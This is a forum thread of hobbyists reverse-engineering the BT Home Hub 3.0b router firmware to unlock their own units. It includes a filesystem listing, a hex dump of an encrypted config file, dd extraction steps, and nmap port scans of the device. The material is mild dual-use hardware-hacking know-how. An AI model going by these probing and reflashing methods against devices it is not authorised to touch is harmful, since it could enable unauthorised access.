│ ├── [ 1317] ethertypes
│ ├── [ 34] fstab
│ ├── [ 198] group
│ ├── [ 458] handy_dss_key
│ ├── [ 427] handy_rsa_key
│ ├── [ 2836] hurlwebidx
│ ├── [ 1431932] hurlwebimg
│ ├── [ 71] inetd.conf
│ ├── [ 0] init.d
│ │ └── [ 3660] rcS
│ ├── [ 105] inittab
│ ├── [ 0] jffs.img
│ ├── [ 20] lmhosts
│ ├── [ 9] mtab -> /var/mtab
│ ├── [ 507] passwd
│ ├── [ 51] printers.ini
│ ├── [ 133] profile
│ ├── [ 132] radius.conf
│ ├── [ 20] resolv.conf -> /var/dns/resolv.conf
│ ├── [ 0] rlog
│ │ ├── [ 344] rlog1
│ │ ├── [ 344] rlog2
│ │ └── [ 344] rlog3
│ ├── [ 1005] root.crt
│ ├── [ 1147] root.pem
│ ├── [ 426] rsa_host_key
│ ├── [ 10] samba -> /var/samba
│ ├── [ 2993] servercert.crt
│ ├── [ 1119] servercert.pem
│ ├── [ 963] server.key
│ ├── [ 951] serverkey.pem
│ ├── [ 1995] services
│ ├── [ 33044] share.map
│ ├── [ 0] ssh
│ │ └── [ 614] authorized_keys
│ ├── [ 11] sysmsg -> /var/sysmsg
│ ├── [ 7] TZ -> /var/TZ
│ ├── [ 0] upnp
│ │ ├── [ 5124] DevCfg.xml
│ │ ├── [ 6362] DevInfo.xml
│ │ ├── [ 619] IGDInfoScpd.xml
│ │ ├── [ 2773] LANEthernetCfg.xml
│ │ ├── [ 517] LANSec.xml
│ │ ├── [ 1749] WanCommonIfc1.xml
│ │ ├── [ 1867] WANDslDiag.xml
│ │ ├── [ 11799] WanDslIfCfg.xml
│ │ ├── [ 3152] WanEthInterCfg.xml
│ │ ├── [ 608] WanEthLinkCfg.xml
│ │ ├── [ 11593] WanIpConn.xml
│ │ ├── [ 11426] WanPppConn.xml
│ │ └── [ 18803] WLANCfg.xml
│ ├── [ 6785] webidx
│ ├── [ 1428438] webimg
│ ├── [ 0] wlan
│ │ ├── [ 448] bcm43112_map.bin
│ │ ├── [ 448] bcm4313_map.bin
│ │ ├── [ 448] bcm4321_map.bin
│ │ ├── [ 448] bcm43222_map.bin
│ │ ├── [ 448] bcm43224_map.bin
│ │ ├── [ 448] bcm43225_map.bin
│ │ ├── [ 448] bcm43226_map.bin
│ │ ├── [ 448] bcm4322_map.bin
│ │ ├── [ 448] bcm4331_map.bin
│ │ ├── [ 448] bcm6362_map.bin
│ │ └── [ 89] nvram_params
│ ├── [ 7358] wrt54g.large.ico
│ ├── [ 3262] wrt54g.small.ico
│ └── [ 2100] wsc_config_1a_ap.txt
├── [ 0] lib
│ ├── [ 0] codepages
│ ├── [ 0] extra
│ │ ├── [ 341048] adsldd.ko
│ │ ├── [ 145388] bcm_enet.ko
│ │ ├── [ 136388] bcmfap.ko
│ │ ├── [ 91168] bcmvlan.ko
│ │ ├── [ 83344] bcmxtmcfg.ko
│ │ ├── [ 3852] otp.ko
│ │ ├── [ 10704] p8021ag.ko
│ │ ├── [ 38956] pktflow.ko
│ │ ├── [ 8948] pwrmngtd.ko
│ │ └── [ 3089688] wl.ko
│ ├── [ 0] kernel
│ │ ├── [ 0] crypto
│ │ │ ├── [ 5356] ecb.ko
│ │ │ └── [ 6908] pcbc.ko
│ │ └── [ 0] drivers
│ │ ├── [ 0] scsi
│ │ │ └── [ 2168] scsi_wait_scan.ko
│ │ ├── [ 0] usb
│ │ │ └── [ 0] storage
│ │ │ └── [ 77204] usb-storage.ko
│ │ └── [ 0] watchdog
│ │ └── [ 8796] bcmdog.ko
│ ├── [ 20700] ld-uClibc.so.0
│ ├── [ 58008] libatputil.so
│ ├── [ 13068] libbhalapi.so
│ ├── [ 167140] libcfmapi.so
│ ├── [ 18] libcrypto_openssl.so -> libcrypto.so.0.9.8
│ ├── [ 131836] libcrypto.so
│ ├── [ 18] libcrypto.so.0.9.7 -> libcrypto.so.0.9.8
│ ├── [ 1433876] libcrypto.so.0.9.8
│ ├── [ 10420] libcrypt.so.0
│ ├── [ 364392] libc.so.0
│ ├── [ 4820] libdhcpoptionsapi.so
│ ├── [ 4944] libdhcpstackapi.so
│ ├── [ 8304] libdl.so.0
│ ├── [ 54272] libethswctl.so
│ ├── [ 3648] libfcctl.so
│ ├── [ 174632] libgcc_s.so.1
│ ├── [ 2404] libgplutil.so
│ ├── [ 46216] libhttpapi.so
│ ├── [ 17] libiconv.so -> libiconv.so.2.5.0
│ ├── [ 17] libiconv.so.2 -> libiconv.so.2.5.0
│ ├── [ 297288] libiconv.so.2.5.0
│ ├── [ 15592] libMidClient.so
│ ├── [ 18476] libmsgapi.so
│ ├── [ 98056] libm.so.0
│ ├── [ 917] libnsl.so.0
│ ├── [ 410992] libntfs-3g.so.73
│ ├── [ 8048] libnvram.so
│ ├── [ 71628] libpthread.so.0
│ ├── [ 917] libresolv.so.0
│ ├── [ 18940] librsa.so
│ ├── [ 3348] librt.so.0
│ ├── [ 15] libssl_openssl.so -> libssl.so.0.9.8
│ ├── [ 12] libssl.so -> libcrypto.so
│ ├── [ 15] libssl.so.0.9.7 -> libssl.so.0.9.8
│ ├── [ 268464] libssl.so.0.9.8
│ ├── [ 14840] libstuncapir.so
│ ├── [ 11160] libthread_db.so.1
│ ├── [ 3948] libutil.so.0
│ ├── [ 95548] libwlbcmcrypto.so
│ ├── [ 60688] libwlbcmshared.so
│ ├── [ 344884] libwlctl.so
│ ├── [ 51304] libwps.so
│ ├── [ 25624] libxmlapi.so
│ ├── [ 78420] libz.so
│ └── [ 7] libz.so.1 -> libz.so
├── [ 11] linuxrc -> bin/busybox
├── [ 0] mnt
├── [ 0] proc
├── [ 0] sbin
│ ├── [ 14] arp -> ../bin/busybox
│ ├── [ 14] flash_eraseall -> ../bin/busybox
│ ├── [ 14] ifconfig -> ../bin/busybox
│ ├── [ 14] init -> ../bin/busybox
│ ├── [ 14] insmod -> ../bin/busybox
│ ├── [ 14] reboot -> ../bin/busybox
│ ├── [ 14] rmmod -> ../bin/busybox
│ ├── [ 14] route -> ../bin/busybox
│ ├── [ 14] smuxctl -> ../bin/busybox
│ ├── [ 14] vconfig -> ../bin/busybox
│ ├── [ 14] watchdog -> ../bin/busybox
│ └── [ 14] zcip -> ../bin/busybox
├── [ 0] tmp
├── [ 0] usr
│ └── [ 0] bin
│ ├── [ 17] [ -> ../../bin/busybox
│ ├── [ 17] [[ -> ../../bin/busybox
│ ├── [ 161909] dbclient
│ ├── [ 17] ftpget -> ../../bin/busybox
│ ├── [ 17] ftpput -> ../../bin/busybox
│ ├── [ 17] killall -> ../../bin/busybox
│ ├── [ 17] renice -> ../../bin/busybox
│ ├── [ 17] test -> ../../bin/busybox
│ ├── [ 17] top -> ../../bin/busybox
│ └── [ 17] wget -> ../../bin/busybox
├── [ 0] var
└── [ 1202746] vmlinux.lz
33 directories, 273 files
$
EDIT: shrunk the photos
-
It turns out that the HH3.0b firmware is not in the usual Broadcom format. It seems there's an extra (pre-CFE) stage to the bootstrap.
And instead of the CFE having its own space in the flash, it is stored in the root file system itself. And the CFE is much larger than the usual 64kB.
The root file system of the HH3.0b also holds the kernel image whereas, normally, the kernel has its own slot in a Broadcom f/w image.
Finally, the root file system is a JFFS2 rather than a squashfs(-lzma) which is what Broadcom had been using for years.
Not seen that configuration before. All in all, that makes the HH3.0b quite unusual.
EDIT:
In France, a telco called SFR (Société Française de Radiotéléphonie) supplies a device similar to the Home Hub 3.0b. It is called the NeufBox 6 or NB6.
Like the HH3.0b, the NB6 is also powered by the Broadcom 6361. It is gaining popularity with hackers. I dusted off my schoolboy French to see what they had discovered about it. (Okay, I used Google Translate!) [1]
It turns out that the NB6 uses the traditional Broadcom firmware format. [2] So the HH3.0b remains a peculiarly British affair!
cheers, a
[1] http://translate.google.com/translate?sl=fr&tl=en&u=http://www.neufbox4.org/wiki/index.php?title=Neufbox_6
[2] http://translate.google.com/translate?sl=fr&tl=en&u=http://www.neufbox4.org/wiki/index.php?title=Tuto_Rapido_NB6
-
A full 32MByte NAND flash dump from a BT Home Hub 3.0b firmware version V100R001C01B031SP09_L_B_t2011-06-01_22_39 is linked below [1]
The HOWTO in the Google Docs folder illustrates mounting and extracting the file systems from that NAND flash dump.
The flash dump contains two root file system images. They are identical JFFS2 images, the master and the slave. Both images contain a MIPS32 kernel, and the CFE bootloader (cferam.000).
There are also two smaller JFFS2 file systems in the dump, and the pre-CFE bootstrap code (times two), as well as the NVRAM area found at the end of the flash.
cheers, a
[1] https://docs.google.com/folder/d/0B6wW18mYskvBMmNQTlhDeG5vT2c/edit
-
Excellent work.
The layout is very strange and certainly nothing I've ever encountered before. Generally, you want to reduce the number of potential points of failure, not add another one.
If all they are trying to do is prevent it from being unlocked, then it seems to be a rather extreme way of going about it to me.
-
If all they are trying to do is prevent it from being unlocked, then it seems to be a rather extreme way of going about it to me.
Hello HowlingWolf,
It gets worse - if you peruse the extracted root file system of the Home Hub 3.0b [1] you will find, as normal, a file called /etc/defaultcfg.xml. The file should contain the default MIB configuration for the device. Normally it is a human-readable XML file.
But not so for the HH3.0b. Even the device default configuration file is encrypted!
# ls -ln etc/defaultcfg.xml
-r-xr-xr-- 1 0 1102 227136 Jun 1 2011 etc/defaultcfg.xml
# xxd -l 512 etc/defaultcfg.xml
0000000: 7da4 b624 cc2e 72c1 1efe 9617 beb0 31a7 }..$..r.......1.
0000010: 497f 51f2 c65e 06db 5864 01eb a98c ceeb I.Q..^..Xd......
0000020: 3e6b 7baf 4919 909b 5d65 97cc 5292 6f77 >k{.I...]e..R.ow
0000030: cf06 dfe6 977f 66c5 b8cd de47 ac87 1c33 ......f....G...3
0000040: b2af e7a9 d39e 5246 ccbc 53ec 313c 61a3 ......RF..S.1<a.
0000050: 18fc 13ca e41c a498 0002 2ad2 52b4 eaee ..........*.R...
0000060: 9ca4 4668 da26 781b 00f3 f13f 2378 bc0c ..Fh.&x....?#x..
0000070: a764 f125 8466 df8b efb6 9810 a8ff 0dc4 .d.%.f..........
0000080: 4f4d 524a 6a77 4873 6e74 4f38 6c58 4d4f OMRJjwHsntO8lXMO
0000090: 764b 6b78 6c37 7852 334a 4472 7449 4b41 vKkxl7xR3JDrtIKA
00000a0: 6d59 316d 627a 6d6f 7463 3836 5452 7774 mY1mbzmotc86TRwt
00000b0: 696c 4d47 3248 662b 6975 5955 7a47 346f ilMG2Hf+iuYUzG4o
00000c0: 3970 3778 344e 446b 6735 746a 7377 3346 9p7x4NDkg5tjsw3F
00000d0: 5242 364b 3147 4837 3244 3167 4d33 3778 RB6K1GH72D1gM37x
00000e0: 5235 3959 6750 5048 4c56 6c43 322b 5569 R59YgPPHLVlC2+Ui
00000f0: 2f76 4b50 3276 4662 6371 794d 3751 3545 /vKP2vFbcqyM7Q5E
0000100: 696b 554e 4868 6c64 6b35 6a78 4157 3434 ikUNHhldk5jxAW44
0000110: 5a59 4635 6a6b 5439 644c 7543 2b4c 4b51 ZYF5jkT9dLuC+LKQ
0000120: 742b 6335 4b45 6c61 3636 4144 422f 4e51 t+c5KEla66ADB/NQ
0000130: 627a 4a31 3534 5350 586b 6657 4862 6d72 bzJ154SPXkfWHbmr
0000140: 7a4b 7761 304e 3342 5149 374a 3576 5937 zKwa0N3BQI7J5vY7
0000150: 6a51 4171 7a4e 5554 6c54 2b49 4649 7053 jQAqzNUTlT+IFIpS
0000160: 6731 6274 4b38 656e 6853 4539 4958 784c g1btK8enhSE9IXxL
0000170: 7351 4b44 6d61 4e4b 3864 486d 4b4a 7139 sQKDmaNK8dHmKJq9
0000180: 5451 3279 7376 5239 326b 432b 476c 775a TQ2ysvR92kC+GlwZ
0000190: 734c 4851 386c 4664 5a6e 594d 742b 4173 sLHQ8lFdZnYMt+As
00001a0: 5769 3159 532f 6f4e 664e 446d 316b 7442 Wi1YS/oNfNDm1ktB
00001b0: 4832 6f4b 6b66 6153 436b 5456 6378 5443 H2oKkfaSCkTVcxTC
00001c0: 3243 7a2f 3974 4a79 4a43 6265 4677 4162 2Cz/9tJyJCbeFwAb
00001d0: 5073 4763 7041 524f 4469 4a6c 4468 4846 PsGcpARODiJlDhHF
00001e0: 3559 5078 4a37 7238 7052 632f 702b 676c 5YPxJ7r8pRc/p+gl
00001f0: 484f 3466 4879 5078 4f6b 304e 2f34 4743 HO4fHyPxOk0N/4GC
cheers, a
[1] https://docs.google.com/open?id=0B6wW18mYskvBY2FZalRBUzRwR2M
-
Hi Asbokid,
I haven't got that far yet :)
I'm in the 'final stretch' of another project which I'm hoping to wrap up within the next couple of days. I'm just taking a break before I start on the final code sections.
One thought does occur. There appears to be two sections. A binary 'header' block and what looks like an old-fashioned uuencoded data block.
-
Hi HowlingWolf,
Hi Asbokid,
I haven't got that far yet :)
I'm in the 'final stretch' of another project which I'm hoping to wrap up within the next couple of days. I'm just taking a break before I start on the final code sections.
Surely that can wait?! Priorities and all that!
One thought does occur. There appears to be two sections. A binary 'header' block and what looks like an old-fashioned uuencoded data block.
It's definitely a binary-to-text encoding. But I fear it is encrypted, too. Likely those first 128 bytes contain some sort of cryptographic key.
A Unix tool called uudeview was used to try and identify the encoding. The tool can reportedly handle "uuencoding, xxencoding, Base64 and BinHex encoding methods". [1] But alas it still couldn't identify the encoding scheme to the defaultcfg.xml file in the HH3.0b firmware. :o
Though there are a couple of HTML files to be found in the bootloader section of the HH3.0b firmware image. This HTML reveals that the bootloader has the same facility as the HG612 for flashing in new firmware:
$ dd if=./hh3.0b_V100R001C01B031SP09_l_B_t2011-06-01_22_39.rawnanddumpeccstripped.bin of=upload.html bs=1 count=$((0x5fa)) skip=$((0x35504))
1530+0 records in
1530+0 records out
1530 bytes (1.5 kB) copied
And that file upload.html contains this:
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww2.picturepush.com%2Fphoto%2Fa%2F8891940%2Foimg%2Fhomehub3.0b%2Fupload.html.png&hash=b7b76b5f6cc88d4bbe22d9115531ced9fbb38688) (http://picturepush.com/public/8891940)
In the same area of the NAND dump (0x35504 onwards) is another HTML file relating to f/w uploading - mainly to do with failed flashes, etc..
Perhaps someone with a working HH3.0b would check something. (it won't do any harm). By holding in the reset button of the HH3.0b while powering up the device (and keeping it pressed for 10 seconds), that should bring up a web interface on 192.168.1.1.
Once the firmware format is understood, in theory, that web interface would allow the HH3.0b to be reflashed with modified (unlocked) firmware 8)
cheers, a
[1] http://www.fpx.de/fp/Software/UUDeview/Manual-Unix-uudeview.html
-
Perhaps someone with a working HH3.0b would check something. (it won't do any harm). By holding in the reset button of the HH3.0b while powering up the device (and keeping it pressed for 10 seconds), that should bring up a web interface on 192.168.1.1.
b*cat performed some experiments. ;D
In total, there were five sockets to check. The red one, with the legend "BT Infinity", to which the VDSL2 modem would connect and the four yellow ones, numbered 1 to 4, the last of which has the legend "GigE".
There is the "Reset" microswitch, operated via a hole with a straightened paper-clip and there is the "Reset" button for normal finger operation. Then there is the "Wireless WPS" button, adjacent to the "Reset" button, very convenient to give the device a "two finger salute".
The Ethernet port on my system was configured as 192.168.1.100 and a total of fifteen experiments were carried out by holding the various buttons depressed, allowing the device was allowed to power-up whilst continuing to hold the buttons depressed for a further 30 seconds. Once the lights had stopped flashing, the 192.168.1.1 address was entered into the browser's address bar.
And the results? Every one was negative. :(
It's now time for b*cat to go and find his warm & sleepy spot. :sleep:
-
The Ethernet port on my system was configured as 192.168.1.100 and a total of fifteen experiments were carried out by holding the various buttons depressed, allowing the device was allowed to power-up whilst continuing to hold the buttons depressed for a further 30 seconds. Once the lights had stopped flashing, the 192.168.1.1 address was entered into the browser's address bar.
And the results? Every one was negative. :(
It's now time for b*cat to go and find his warm & sleepy spot. :sleep:
Thank you, burakkucat! That's a shame and mysterious, too!
cheers, a
-
Yes, I was a little disappointed with that result. :(
However if you carry on with the good work, I'll be happy to perform any experiments.
Perhaps another close inspection of the PCB may suggest that a jumper would need to be added, for example? :-\
-
I'm in the 'final stretch' of another project which I'm hoping to wrap up within the next couple of days. I'm just taking a break before I start on the final code sections.
Surely that can wait?! Priorities and all that!
Nice Try :)
As it happens I'm just putting the finishing touchs to it so I should be able to devote some time to this quite soon.
I did briefly try getting to the update page using wget in infinite retry mode - nothing as comprehensive as b*cat - but no success either.
I did get the occasional connection rejected msg instead of no route to host but I'm not sure if that was from the homehub or something else.
-
Is it possible that the Acme Labs mini/micro web server in the Broadcom bootloader [1] is listening on a port other than 80? If so, maybe a full TCP port scan would discover the little bugger?!
Back in July, Kitz contributor NewtronStar noted that BT had apparently stopped shipping the HH3.0b. [2]
Tom Espiner of ZDNet reported that there was a problem with the HH3.0b slowing down on the wired side, but strangely not on the wireless side which continued to work okay. [3]
Is there any news on whether the HH3.0b is being supplied once again by Blighty Telecom?
EDIT2:
BT is remotely pushing out a firmware fix (V100R001C01B031SP12) for the Home Hub 3.0b [4] Reports on BT's Care in the Community forum are generally positive [5]
cheers, a
[1] http://www.acme.com/software/
[2] http://forum.kitz.co.uk/index.php/topic,11377.msg220021.html#msg220021
[3] http://www.zdnet.com/bt-fixes-bug-that-cut-super-fast-broadband-down-to-super-slow-1mbps-3040155430/
[4] http://www.ispreview.co.uk/index.php/2012/07/bt-infinity-uk-deploy-firmware-fix-for-super-slow-fttc-broadband-bug.html
[5] http://community.bt.com/t5/BT-Infinity/Post-here-when-your-Type-B-updates-to-V100R001C01B031SP12/td-p/580525
-
Is it possible that the Acme Labs mini/micro web server in the Broadcom bootloader [1] is listening on a port other than 80? If so, maybe a full TCP port scan would discover the little bugger?!
Hmm... It seems that great minds do think alike ;)
Back in July, Kitz contributor NewtronStar noted that BT had apparently stopped shipping the HH3.0b. [2]
Tom Espiner of ZDNet reported that there was a problem with the HH3.0b slowing down on the wired side, but strangely not on the wireless side which continued to work okay. [3]
Is there any news on whether the HH3.0b is being supplied once again by Blighty Telecom?
EDIT2:
BT is remotely pushing out a firmware fix (V100R001C01B031SP12) for the Home Hub 3.0b [4] Reports on BT's Care in the Community forum are generally positive [5]
I don't think they actually stopped shipping them as I only got mine quite recently but I could be wrong. I only found out about the slowdown problem a couple of months ago when I started looking for a new isp and from what I read then it seemed to be an acknowledged issue rather than something very recent.
-
b*cat would be quite happy for HW to stop howling and start testing, then an easily disturbed feline can catch up on some essential sleeping! :P :sleep:
-
OW! OW! OW!
Watch what you're doing with those claws!
I dunno...
Next they'll be telling me I shouldn't scratching OR sniffing at things...
:P
-
Some more testing was performed last night.
The two methods of held "Reset" were used at device power up. ("Paper-clip in hole" method and "Finger on button" method.)
All five sockets that can take an RJ-45 plug were checked. The following nmap command line was thus executed ten times --
nmap -T4 -Vs -Pn -p0-65535 192.168.1.1
Absolutely nothing was found. :(
Now my question. How certain are we that 192.168.1.1 would be the correct IP address? :-\
-
Some more testing was performed last night.
The two methods of held "Reset" were used at device power up. ("Paper-clip in hole" method and "Finger on button" method.)
All five sockets that can take an RJ-45 plug were checked. The following nmap command line was thus executed ten times --
nmap -T4 -Vs -Pn -p0-65535 192.168.1.1
Absolutely nothing was found. :(
Thanks b*cat. Sorry for time waste :o
Now my question. How certain are we that 192.168.1.1 would be the correct IP address? :-\
Hmm.. It seemed certain. But then they said that about L'pool winning the league :-[
The 'board IP address' is definitely listed as 192.168.1.1 in the CFE config section of the f/w of the HH3.0b.
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww4.picturepush.com%2Fphoto%2Fa%2F8915637%2F480%2Fhomehub3.0b%2FScreenshot-from-2012-08-06-20%253A55%253A40.png&hash=d59d586eb796900debfc9b4ce77a00063026e423) (http://picturepush.com/public/8915637)
Back to the head scratching - (thinking aid rather than relief of nits, for once) :D
cheers, a
-
Nits? Do you have a louse infestation? :ouch: I wear a flea-collar and find that keeps the nasties at bay! :blush:
I am quite convinced of the IP address, having now seen your evidence. What was bothering me was the analogy with the Huawei HG612. The IP address used for the GUI to re-flash its firmware is the same IP address as its normal user GUI, once unlocked. I was pondering if the "re-flash the firmware" GUI for the HH3.0B is identical to its normal user GUI -- that is 192.168.1.254 :-\
-
I was pondering if the "re-flash the firmware" GUI for the HH3.0B is identical to its normal user GUI -- that is 192.168.1.254 :-\
I tried that while I was fiddling about and got nothing until the normal web interface came up.
I looked through the bootloader block myself after I gave up but couldn't see anything else which might be a likely candidate.
-
I am quite convinced of the IP address, having now seen your evidence. What was bothering me was the analogy with the Huawei HG612. The IP address used for the GUI to re-flash its firmware is the same IP address as its normal user GUI, once unlocked. I was pondering if the "re-flash the firmware" GUI for the HH3.0B is identical to its normal user GUI -- that is 192.168.1.254 :-\
That would have made more sense.
One thing we could try is modifying the CFE configuration so that it boots from the (h)ost PC (192.168.1.100) instead of from (f)lash. That's very simple. It involves changing the "r=f" parameter to "r=h" in the CFE config above.
Before re-fitting the NAND flash IC to the Home Hub PCB, it would be better to install a TSOP IC cradle to the board first, à la one of these, below. At least then the flash can be readily removed without de-soldering, modified arbitrarily, and then refitted (repeat until the dirty deed of unlocking is done).
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww2.picturepush.com%2Fphoto%2Fa%2F8917365%2F480%2Fhomehub3.0b%2Fnand-cradle.png&hash=418c8a46c96ec3102e15b5cdd76053e9fe894182) (http://picturepush.com/public/8917365)
The HG612 was tweaked to do this - to retrieve its kernel from a tftp server running on the LAN. But since the original kernel is hard-coded to mount the root file system from flash, there's nothing much achieved by net-booting. Ideally, the kernel needs to be rebuilt to support an NFS root file system, so that can be mounted over the network. When we tried this with the HG612, at the time, we didn't have Huawei's patches to the kernel source (specifically, the kernel driver for the ethernet switch controller, iirc) so it wasn't going to work.
Nits? Do you have a louse infestation? :ouch: I wear a flea-collar and find that keeps the nasties at bay! :blush:
Yup, Our Wayne brought the head lice back from Boot Camp, a present for all the family, bless him! :o
cheers, a
-
I tried that while I was fiddling about and got nothing until the normal web interface came up.
I looked through the bootloader block myself after I gave up but couldn't see anything else which might be a likely candidate.
Having now performed an nmap scan of IP address 192.168.1.254, after a "power-on with reset asserted", I can report that these ports are found to be open --
80, 161, 443, 631, 1780, 37215, 37443
I've made a note to perform another experiment (or two) by scanning the default IP address following a normal power-on.
-
Hi Guys,
Going back to the U.FL connectors on the Homehub 3 type b pcb ie J701 and J702
any know which is for 802.11n and which for 802.11b/g ?
BTW U.FL connectors and pigtail leads now available in UK from CPC
http://cpc.farnell.com/jsp/search/browse.jsp;jsessionid=GBVYNTAAEUKXWCQLCIRJN4Q? N=411&Ntk=gensearch&Ntt=U.FL&Ntx=mode+matchallpartial&exposeLevel2Refinement=true&suggestions=false&ref=globalsearch&_requestid=143262
Thanks in anticipation,
Mike
-
:-[
Please disregard my earlier request - It turns out my Homehub 3 has a type A pcb !!!
I therefore need to know which one is for 802.11b/g and which is for 802.11n
Please help ASAP,
Mike
-
Sorry but I don't know anything about the HH3.0A. :(
Have you checked with the folks over at PsiDOC (http://www.psidoc.com/)?
-
80, 161, 443, 631, 1780, 37215, 37443
I got the same ones with power on/reset and under normal operation.
80 & 443 - Normal web interface.
1780 - "HTTP1.1 404 File not found".
37125 - "File not found".
37443 - HTTPS with a cert for zxserver. This also gives "File not found".
I suspect these might be related to a media server 'feature'.
161/631 - No response/"Bad Status Line". For some unknown reason I didn't make a note of which was which at the time and naturally I can't remember now. :-[
-
So to be absolutely sure, one of us should power up a HH3.0B and perform a factory reset via the "paper-clip" hole. Power cycle the device and then "nmap" scan each of the five ports that will accept an RJ-45 plug. Those five sets of results will form the base-line.
Next, power up the device whilst holding the reset "paper-clip" hole asserted and continue to hold it until the power light flashes amber. Now repeat an "nmap" scan on the five ports.
Finally, power up the device whilst holding the "finger" reset button asserted and continue to hold it until the power light flashes amber. Perform yet another set of "nmap" scans for the five ports.
I've made a note to remind myself to do the above but as cats live such busy lives, a distant relative of the common canis familiaris may get it done before me. ;)
-
Sorry to disappoint you old chap.
I'm afraid that Lupus Clamoris is up to his nostrils in it at the moment. ;D
I will try to find some time for it this weekend but I can't promise anything.
-
I'm afraid that Lupus Clamoris is up to his nostrils in it at the moment. ;D
That's to be expected when you play on a dung-heap! :lol:
I've now performed 67% of the total experiment and just need to executed the five nmap scans, following on from a "finger on button" at power-up time reset. Once all fifteen results are logged, they will be considered and the observations reported here. :)
-
Looking forward to a progress report, burakkucat :)
It wouldn't be easy but in theory it's possible to get the CFE bootloader running under MIPS emulation of QEMU, so as to determine its operation. That has been done before. We've got a whopper bootloader here though - well over 100kBytes. Wouldn't fancy reverse engineering much of that ??? Hopefully someone uncovers a much easier method of hacking the Home Hub 3.0b
cheers, a
-
One other port to be considered is that of the USB. Perhaps some thought should also be directed to it? :-\
-
Here are the results of those experiments.
To recap, there are five sockets that will accept an RJ-45 plug and two potential methods of powering-up the device (a paper-clip in the hole and a finger on the reset button) making ten separate experiments. To have something against which each result can be compared, a further five experiments needed to be performed to create the "baseline" data.
The raw experimental data captured is in the file nmap_scanning.txt, attached below. By considering that file, we see that the "finger on the reset button" experiments yield results identical to the "baseline" data.
Further considerations of the "Port 0", "Port 3" and "Port 4" experiments, "paper-clip in hole" method, showed that there was nothing of significance to note.
However there was an observed change for both "Port 1" and "Port 2". Please see the file results_log.txt, attached below.
Further investigations will now be appropriate. :) But they will have to be performed on another day -- as its time for b*cat to find his bed. :sleep:
-
That's excellent Burakkucat! The results look quite significant ;)
cheers, a
-
Why, thank you. :)
I propose, as soon as the time is available, to re-nmap scan port 443 of IP address 192.168.1.254 on both the LAN1 and LAN2 sockets to confirm that I was not mis-seeing things.
As a qualified scientist of many years standing, I appreciate that experimental results are only meaningful when they are reproducible. They are even more significant when they can be reproduced by an independent person. Wolfy, where are you?
-
Excellent work indeed!
I've just finished up my current dung-heap erm... I mean project. :P
Well... This version of it anyway. ::)
So I can devote some more time to this. I'll start by running the same set of tests.
I do like the idea of running the cfe in qemu but I wouldn't know where to start as I've never used it. I would appreciate it if someone could point me in the direction of a good beginner guide.
-
I submit another report which focusses on the LAN1 port only.
Whether performing a "factory reset" or a "power-up with reset asserted" the switch was held depressed until the Power light started to flash amber. (This took between 16 - 18 seconds.)
When performing a "power-up with reset asserted" it is essential that an Ethernet cable is connected from the LAN port of the device to the host computer and that the host computer is ready to perform the nmap scan. It is essential that the nmap scan is started with five seconds of both the Power and Wireless lights becoming solid blue. If left without starting the nmap scan, the Power light will revert back to amber, the Wireless light will go out, the Power light will begin to flash amber once again and then, once the device is back to two solid blue lights, the nmap scan will reveal that port 443 has reverted back to its "normal" condition.
I would appreciate independent analysis of the above results. Attached, below, is a log file which shows port 443 is normally "open ssl/tcpwrapped" but can be found in a "filtered https" state following a "power-up with reset asserted".
-
Hmm... thank you for experimenting, burakkucat!
Very interesting and certainly not the expected results ???
If you've got a spare minute, perhaps you could report the outcome in the following circumstances,
PC attached via LAN1 or LAN2 of the HH3.0b,
HH3.0b booted as normal, and then after a "held-reset"
PC browser visits the following URLs:
https://192.168.1.1 (https://192.168.1.1) (443/tcp by default)
http://192.168.1.1:37215 (http://192.168.1.1:37215)
https://192.168.1.1:37443 (https://192.168.1.1:37443)
cheers, a
-
HH3.0b booted as normal, and then after a "held-reset"
Am I correct in assuming that you would like a "factory reset" performed? Or have I misinterpreted your above direction? :-\
It will be sometime later today, for b*cat has heard the plaintive call of his bed. ;)
-
HH3.0b booted as normal, and then after a "held-reset"
Am I correct in assuming that you would like a "factory reset" performed? Or have I misinterpreted your above direction? :-\
I meant to say, perhaps you could perform two sets of tests, (only when you're in the mood again (http://www.youtube.com/watch?v=I0Qx_khHKGw), of course!)
The first set of tests would be performed after powering up, and booting as normal. The second set after powering up while asserting reset.
I must buy another HH3.0b since this one is now in several pieces. Although it's not easy to tell from the Home Hubs listed on ebay whether they are Home Hub 3 Type A or Type B. Sellers don't seem to identify the type.
cheers, a
P.S. To HowlingWolf, [EDIT: see below] if you don't find it first through Google, I will try and dig out the reports of running CFE under QEMU. It was probably on the openwrt forum. Someone found that a specific version of CFE would run in QEMU 'out of the box'. Whereas all(?) other CFE versions refuse (without coercion?) to run at all. Ideally the whole userspace of the HH3.0b could run in QEMU. Small inroads were made with that, to get the btagent (TR069) client running on a PC. A project that is probably worth pursuing for the wider interest.
EDIT: see: http://huaweihg612hacking.wordpress.com/2011/07/05/mips-emulation-on-the-x86/
-
Thanks Asbokid
I meant a good beginners guide to QEMU in general. Thinking about it, MIPS related would probably be a good idea too.
I did try looking briefly but Google turns up so much crap these days it takes forever to wade through it >:(
I am going to have another look of course but any help would be appreciated.
-
Some further experiments have been performed.
(1) The HH3.0B was allowed to power-up in a normal fashion. Attempts to connect were made via the following IP addresses:
https://192.168.1.1 (see image 1a.png, below)
http://192.168.1.1:37215 (see image 1b.png, below)
https://192.168.1.1:37443 (see image 1c.png, below)
(2) The HH3.0B was powered-up with the reset asserted. This condition was held for 20 seconds subsequent to the power-up state, then released. The device was allowed to complete its full "double cycle" of solid amber, flashing amber, solid blue, solid amber, flashing amber and solid blue lights. Attempts to connect were made to the same three IP addresses as above. The results were identical to those obtained in experiment (1), above.
(3) The HH3.0B was powered-up with the reset asserted. This condition was held for 20 seconds subsequent to the power-up state, then released. The device was allowed to complete just the first part of its "double cycle" sequence. That is to say the tests were performed within 2 - 3 seconds of the first period of solid blue lights. This state had, thus, to be entered three times to perform the three sub-tests for the three IP addresses. Unfortunately the results were, once again, identical to those obtained in experiments (1) and (2), above.
Suggestions, anyone? :(
My only other comment is that perhaps we should not ignore the USB port on the HH3.0B? :-\
-
Thank you very much Burakkucat, for going to that trouble. I've got you a little reward (see below). It is a pot of fresh Pacific sea cucumbers. An oriental delicacy enjoyed by man and cat alike :D Beats a tin of sardines, any day!
http://item.taobao.com/item.htm?id=8810013125
Disappointing results though, but you have eliminated those avenues of attack. You're right, the USB port could be an option. Not an option here though, as the HH3.0b is in little bits.
More head-scratching!
